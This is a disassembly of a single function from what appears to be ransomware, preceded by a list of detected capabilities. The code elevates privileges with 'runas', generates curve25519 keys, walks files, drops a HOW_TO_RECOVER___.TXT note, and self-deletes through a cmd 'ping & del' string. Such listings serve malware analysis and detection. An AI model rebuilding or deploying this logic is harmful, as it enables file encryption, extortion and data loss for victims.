Function at 0x140009cd0
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Encrypt data using curve25519
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Hash data using sha256
Self delete
Terminate process
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xbb0]
sub rsp, 0xcb0
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rbp + 0xba0], rax
xor esi, esi
xor dil, dil
mov qword [rsp + 0x60], rsi
mov r14, rcx
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x30], dil
mov dword [rsp + 0x68], esi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x68]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r13, rax
test rax, rax
je 0x14000a0e5
mov r12d, 1
cmp dword [rsp + 0x68], r12d
jle 0x14000a0dc
lea r15d, [rsi + 2]
lea rbx, [rax + 8]
nop dword [rax]
mov rcx, qword [rbx]
lea rdx, [0x1400683ac]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009d95
cmp dword [rsp + 0x68], r15d
jl 0x140009d95
mov rdx, qword [rbx + 8]
lea r8, [0x1400683b4]
lea rcx, [rsp + 0x60]
call fcn.1400398b0
jmp 0x140009e6d
mov rcx, qword [rbx]
lea rdx, [0x1400683b8]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009dcf
cmp dword [rsp + 0x68], r15d
jl 0x140009dcf
mov rdx, qword [rbx + 8]
lea r8, [0x1400683b4]
lea rcx, [rsp + 0x58]
call fcn.1400398b0
mov byte [rsp + 0x30], 1
jmp 0x140009e6d
mov rcx, qword [rbx]
lea rdx, [0x1400683c0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009e01
cmp dword [rsp + 0x68], r15d
jl 0x140009e01
mov rdx, qword [rbx + 8]
lea r8, [0x1400683b4]
lea rcx, [rsp + 0x58]
call fcn.1400398b0
jmp 0x140009e6d
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009e49
cmp dword [rsp + 0x68], r15d
jl 0x140009e49
mov rax, qword [r14 + 8]
lea r8, [rbx + 8]
cmp rax, qword [r14 + 0x10]
je 0x140009e3c
mov rdx, qword [r8]
mov rcx, rax
call fcn.140005f50
add qword [r14 + 8], 0x20
jmp 0x140009e6d
mov rdx, rax
mov rcx, r14
call fcn.140011d70
jmp 0x140009e6d
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140009e6d
cmp dword [rsp + 0x68], r15d
jl 0x140009e6d
mov rcx, qword [rbx + 8]
call fcn.14003a260
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000a5c5
mov edi, esi
mov qword [rsp + 0x50], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140009ed1
mov rcx, qword [rsp + 0x50]
lea rax, [rbp - 0x6c]
mov r9d, 4
mov dword [rbp - 0x6c], 4
lea r8, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 0x68]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140009ee1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x14000a098
xor edx, edx
lea rcx, [rbp + 0x90]
mov r8d, pe_nt_image_headers64
call fcn.140050d90
lea rcx, [rbp + 0x90]
call fcn.14000ca90
mov esi, 1
cmp dword [rsp + 0x68], esi
jle 0x140009f52
lea rdi, [r13 + 8]
nop dword [rax + rax]
lea rcx, [rbp + 0xa0]
call fcn.14000fe60
mov rdx, qword [rdi]
mov rcx, rax
call fcn.14000f530
mov rcx, rax
lea rdx, [0x140068444]
call fcn.14000f530
inc esi
lea rdi, [rdi + 8]
cmp esi, dword [rsp + 0x68]
jl 0x140009f20
mov edx, dword [rbp + 0x118]
xor esi, esi
xorps xmm0, xmm0
mov qword [rbp + 0x880], rsi
mov eax, edx
mov ecx, 7
and al, 0x22
mov qword [rbp + 0x888], rcx
movups xmmword [rbp + 0x870], xmm0
mov word [rbp + 0x870], si
movups xmmword [rsp + 0x38], xmm0
cmp al, 2
je 0x140009fbb
mov rax, qword [rbp + 0xe8]
mov r8, qword [rax]
test r8, r8
je 0x140009fbb
cmp r8, qword [rbp + 0x110]
mov rax, qword [rbp + 0xc8]
cmovb r8, qword [rbp + 0x110]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140009ffb
test dl, 4
jne 0x140009ff1
mov rax, qword [rbp + 0xe0]
mov r9, qword [rax]
test r9, r9
je 0x140009ff1
mov rax, qword [rbp + 0xc0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xf8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, r9
sar r8, 1
jmp 0x140009ffb
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x14000a013
lea rcx, [rbp + 0x870]
call fcn.14000f130
mov rcx, qword [rbp + 0x888]
mov r8, qword [r13]
lea r9, [rbp + 0x870]
cmp rcx, 7
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], rsi
cmova r9, qword [rbp + 0x870]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0x888]
cmp rdx, 7
jbe 0x14000a08c
mov rcx, qword [rbp + 0x870]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a087
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a802
call fcn.14002c5f0
lea rcx, [rbp + 0x90]
call fcn.140009a50
mov rax, qword [r14 + 8]
cmp rax, qword [r14 + 0x10]
je 0x14000a0b4
mov rdx, qword [rbx]
mov rcx, rax
call fcn.140005f50
add qword [r14 + 8], 0x20
jmp 0x14000a0c2
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.140011d70
inc r12d
inc r15d
add rbx, 8
cmp r12d, dword [rsp + 0x68]
jl 0x140009d60
movzx edi, byte [rsp + 0x30]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, 1
or rax, rdx
mov dword [rsp + 0x20], esi
imul eax, dword [rbp - 0x58]
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x70], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14000a169
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x14000a188
mov r9d, 1
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x60]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000a188
mov rcx, qword [rbp - 0x60]
lea r8, [rbp - 0x70]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x70]
lea r11, [0x140076780]
mov edx, 1
mov dword [0x140076780], eax
mov eax, edx
mov r8d, edx
mov r9d, edx
mov r10d, edx
nop dword [rax + rax]
cdqe
mov ecx, dword [r11 + rax*4 - 4]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add edx, eax
movsxd rax, r8d
mov dword [r11 + rax*4], edx
movsxd rax, r10d
mov dword [r11 + rax*4], edx
lea edx, [r9 + 1]
mov dword [0x140077140], edx
mov eax, edx
mov r8d, edx
mov r9d, edx
mov r10d, edx
cmp edx, 0x270
jl 0x14000a1b0
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov byte [rbp + 0x898], 9
xorps xmm0, xmm0
mov qword [rbp + 0x8a9], rax
lea rcx, [rbp + 0x2e0]
mov dword [rbp + 0x8b1], eax
movups xmmword [rbp + 0x899], xmm0
mov word [rbp + 0x8b5], ax
mov byte [rbp + 0x8b7], al
mov dword [rsp + 0x70], 0x7afa20cd
mov dword [rsp + 0x74], 0xaa84f355
mov dword [rsp + 0x78], 0x45c127ff
mov dword [rsp + 0x7c], 0x63bd3666
mov dword [rbp - 0x80], 0x219e3274
mov dword [rbp - 0x7c], 0x8166807b
mov dword [rbp - 0x78], 0x45204f1a
mov dword [rbp - 0x74], 0xffc1b891
call fcn.140022fd0
cmp dword [rbp + 0x778], 0
jne 0x14000a7ac
mov r8d, 0x38
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x620]
call fcn.140024a60
test eax, eax
jne 0x14000a7ac
movsd xmm0, qword [0x140073c90]
lea rdx, [rbp + 0x780]
mov eax, dword [0x140073c98]
lea rcx, [rbp - 0x50]
mov r8d, 0x38
movsd qword [rbp + 0x794], xmm0
mov dword [rbp + 0x79c], eax
mov qword [rbp + 0x10], 0
mov dword [rbp - 0x10], 0x6a09e667
mov dword [rbp - 0xc], 0xbb67ae85
mov dword [rbp - 8], 0x3c6ef372
mov dword [rbp - 4], 0xa54ff53a
mov dword [rbp], 0x510e527f
mov dword [rbp + 4], 0x9b05688c
mov dword [rbp + 8], 0x1f83d9ab
mov dword [rbp + 0xc], 0x5be0cd19
call fcn.1400050c0
lea rdx, [rbp + 0x8e8]
lea rcx, [rbp - 0x50]
call fcn.140005220
movups xmm0, xmmword [rbp + 0x8e8]
lea rdx, [rsp + 0x70]
movups xmm1, xmmword [rbp + 0x8f8]
lea rcx, [rbp + 0x780]
movd eax, xmm0
movups xmmword [rbp + 0x880], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x870], xmm0
mov byte [rbp + 0x870], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x88f], al
call fcn.1400026c0
lea r9, [rbp + 0x780]
lea r8, [rbp + 0x870]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x820]
call fcn.1400039c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x7d0]
call fcn.140003e20
lea r8, [rbp + 0x7d0]
lea rdx, [rbp + 0x820]
lea rcx, [rbp - 0x50]
call fcn.1400020f0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x8c0]
call fcn.1400028c0
movups xmm0, xmmword [rbp + 0x8c0]
lea rdx, [rbp + 0x898]
movups xmm1, xmmword [rbp + 0x8d0]
lea rcx, [rbp + 0x820]
movd eax, xmm0
movups xmmword [rbp + 0x880], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x870], xmm0
mov byte [rbp + 0x870], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x88f], al
call fcn.1400026c0
lea r9, [rbp + 0x820]
lea r8, [rbp + 0x870]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x780]
call fcn.1400039c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x7d0]
call fcn.140003e20
lea r8, [rbp + 0x7d0]
lea rdx, [rbp + 0x780]
lea rcx, [rbp - 0x50]
call fcn.1400020f0
lea rdx, [rbp - 0x50]
lea rcx, [0x140076160]
call fcn.1400028c0
movups xmm0, xmmword [rbp + 0x8c0]
movups xmm1, xmmword [rbp + 0x8d0]
lea rdx, [0x140073ca8]
movd eax, xmm0
lea rcx, [rbp + 0x820]
movups xmmword [rbp + 0x8a8], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x898], xmm0
mov byte [rbp + 0x898], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x8b7], al
call fcn.1400026c0
lea r9, [rbp + 0x820]
lea r8, [rbp + 0x898]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x780]
call fcn.1400039c0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x7d0]
call fcn.140003e20
lea r8, [rbp + 0x7d0]
lea rdx, [rbp + 0x780]
lea rcx, [rbp - 0x50]
call fcn.1400020f0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x910]
call fcn.1400028c0
mov r8d, 0x20
mov qword [rbp + 0x80], 0
lea rdx, [rbp + 0x910]
mov dword [rbp + 0x60], 0x6a09e667
lea rcx, [rbp + 0x20]
mov dword [rbp + 0x64], 0xbb67ae85
mov dword [rbp + 0x68], 0x3c6ef372
mov dword [rbp + 0x6c], 0xa54ff53a
mov dword [rbp + 0x70], 0x510e527f
mov dword [rbp + 0x74], 0x9b05688c
mov dword [rbp + 0x78], 0x1f83d9ab
mov dword [rbp + 0x7c], 0x5be0cd19
call fcn.1400050c0
lea rdx, [0x140076138]
lea rcx, [rbp + 0x20]
call fcn.140005220
call fcn.140012a80
mov eax, dword [0x140073c9c]
lea r8, [rbp + 0x90]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000a6cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x14000a6cc
mov dword [0x140073c9c], esi
jmp 0x14000a6d5
lea rdx, str.File_not_found_OR_Invalid_argument
lea rcx, [rsp + 0x70]
call fcn.140005f50
movsxd rax, r12d
mov rdi, 0xffffffffffffffff
mov r9, qword [r13 + rax*8]
inc rdi
cmp word [r9 + rdi*2], 0
jne 0x14000a5e5
mov rcx, qword [rbp - 0x78]
mov rsi, qword [rbp - 0x80]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x14000a636
cmp rcx, 7
lea rax, [rsi + rdi]
lea rbx, [rsp + 0x70]
mov qword [rbp - 0x80], rax
cmova rbx, qword [rsp + 0x70]
lea r8, [rdi + rdi]
mov rdx, r9
lea rcx, [rbx + rsi*2]
call fcn.140051150
lea rax, [rsi + rdi]
xor edi, edi
mov word [rbx + rax*2], di
jmp 0x14000a650
movzx r8d, byte [rsp + 0x30]
lea rcx, [rsp + 0x70]
mov rdx, rdi
mov qword [rsp + 0x20], rdi
call fcn.140006050
xor edi, edi
cmp qword [rbp - 0x78], 7
lea rdx, [rsp + 0x70]
mov r9d, 0x10
lea r8, str.Error
cmova rdx, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14000a6b6
mov rcx, qword [rsp + 0x70]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a6b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a7fc
call fcn.14002c5f0
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], di
jmp 0x14000a7c4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x1400762e0]
call fcn.1400070b0
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
lea r8, [0x140009c30]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x58]
mov r9, r14
mov rcx, qword [rsp + 0x60]
movzx r8d, dil
mov rbx, rax
call fcn.1400082f0
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.1400075f0
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x140076138], xmm0
movups xmmword [0x140076148], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.140009180
mov r8d, 0x104
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000a7b8
lea r9, [rbp + 0x90]
mov edx, 0x136
lea r8, str._c_ping_127.0.0.1__del___s_____NUL
lea rcx, [rbp + 0x930]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea r9, [rbp + 0x930]
mov dword [rsp + 0x28], esi
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x14000a7b8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.Cant_create_unique_data..._n
call fcn.140006230
lea rcx, [rbp + 0x2e0]
call fcn.140023190
mov rcx, r14
call fcn.14000e290
mov rcx, qword [rbp + 0xba0]
xor rcx, rsp
call fcn.14002c2f0
lea r11, [rsp + 0xcb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400395bc
int3
call fcn.1400395bc
int3